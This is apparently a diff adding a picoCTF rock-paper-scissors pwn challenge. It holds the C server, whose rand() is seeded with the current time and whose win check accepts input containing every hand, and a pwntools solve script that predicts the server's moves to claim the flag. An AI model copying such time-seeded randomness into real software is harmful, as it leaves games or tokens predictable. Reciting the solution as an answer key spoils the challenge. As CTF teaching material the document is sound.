pwn/rps

pwn/rps/game-redacted.c

@@ -0,0 +1,154 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdbool.h>
+#include <string.h>
+#include <time.h>
+#include <unistd.h>
+#include <sys/time.h>
+#include <sys/types.h>
+
+
+#define WAIT 60
+
+
+
+static const char* flag = "[REDACTED]";
+
+char* hands[3] = {"rock", "paper", "scissors"};
+char* loses[3] = {"paper", "scissors", "rock"};
+int wins = 0;
+
+
+
+int tgetinput(char *input, unsigned int l)
+{
+    fd_set          input_set;
+    struct timeval  timeout;
+    int             ready_for_reading = 0;
+    int             read_bytes = 0;
+    
+    if( l <= 0 )
+    {
+      printf("'l' for tgetinput must be greater than 0\n");
+      return -2;
+    }
+    
+    
+    /* Empty the FD Set */
+    FD_ZERO(&input_set );
+    /* Listen to the input descriptor */
+    FD_SET(STDIN_FILENO, &input_set);
+
+    /* Waiting for some seconds */
+    timeout.tv_sec = WAIT;    // WAIT seconds
+    timeout.tv_usec = 0;    // 0 milliseconds
+
+    /* Listening for input stream for any activity */
+    ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
+    /* Here, first parameter is number of FDs in the set, 
+     * second is our FD set for reading,
+     * third is the FD set in which any write activity needs to updated,
+     * which is not required in this case. 
+     * Fourth is timeout
+     */
+
+    if (ready_for_reading == -1) {
+        /* Some error has occured in input */
+        printf("Unable to read your input\n");
+        return -1;
+    } 
+
+    if (ready_for_reading) {
+        read_bytes = read(0, input, l-1);
+        if(input[read_bytes-1]=='\n'){
+        --read_bytes;
+        input[read_bytes]='\0';
+        }
+        if(read_bytes==0){
+            printf("No data given.\n");
+            return -4;
+        } else {
+            return 0;
+        }
+    } else {
+        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
+        return -3;
+    }
+
+    return 0;
+}
+
+
+bool play () {
+  char player_turn[100];
+  srand(time(0));
+  int r;
+
+  printf("Please make your selection (rock/paper/scissors):\n");
+  r = tgetinput(player_turn, 100);
+  // Timeout on user input
+  if(r == -3)
+  {
+    printf("Goodbye!\n");
+    exit(0);
+  }
+
+  int computer_turn = rand() % 3;
+  printf("You played: %s\n", player_turn);
+  printf("The computer played: %s\n", hands[computer_turn]);
+
+  if (strstr(player_turn, loses[computer_turn])) {
+    puts("You win! Play again?");
+    return true;
+  } else {
+    puts("Seems like you didn't win this time. Play again?");
+    return false;
+  }
+}
+
+
+int main () {
+  char input[3] = {'\0'};
+  int command;
+  int r;
+
+  puts("Welcome challenger to the game of Rock, Paper, Scissors");
+  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
+  puts("Are you ready?");
+  
+  while (true) {
+    puts("Type '1' to play a game");
+    puts("Type '2' to exit the program");
+    r = tgetinput(input, 3);
+    // Timeout on user input
+    if(r == -3)
+    {
+      printf("Goodbye!\n");
+      exit(0);
+    }
+    
+    if ((command = strtol(input, NULL, 10)) == 0) {
+      puts("Please put in a valid number");
+      
+    } else if (command == 1) {
+      printf("\n\n");
+      if (play()) {
+        wins++;
+      } else {
+        wins = 0;
+      }
+
+      if (wins >= 5) {
+        puts("Congrats, here's the flag!");
+        puts(flag);
+      }
+    } else if (command == 2) {
+      return 0;
+    } else {
+      puts("Please type either 1 or 2");
+    }
+  }
+
+  return 0;
+}
+

pwn/rps/solve.py

@@ -0,0 +1,34 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i python3 -p python3 python3Packages.pwntools
+
+import ctypes
+
+from pwn import *
+
+player_moves = ["paper", "scissors", "rock"]
+# computer_moves = ["rock", "paper", "scissors"]
+
+libc_path = ctypes.util.find_library("c")
+if libc_path is None:
+    print("Error: could not find libc")
+    exit(1)
+libc = ctypes.CDLL(libc_path)
+
+ADDR, PORT, *_ = "saturn.picoctf.net 50666".split()
+
+p = remote(ADDR, PORT)
+
+x = 0
+for i in range(5):
+  p.recvuntil(b'Type \'2\' to exit the program')
+  p.sendline(b'1')
+  libc.srand(libc.time(None))
+  p.recvuntil(b'Please make your selection (rock/paper/scissors)')
+  choice = libc.rand() % 3
+  player_move = player_moves[choice]
+  p.sendline(player_move.encode())
+  print(f'Round {i + 1}')
+  p.recvuntil(b'You win!')
+p.recvuntil(b'Congrats, here\'s the flag!\r\n')
+print(p.recvline().decode().strip())
+p.close()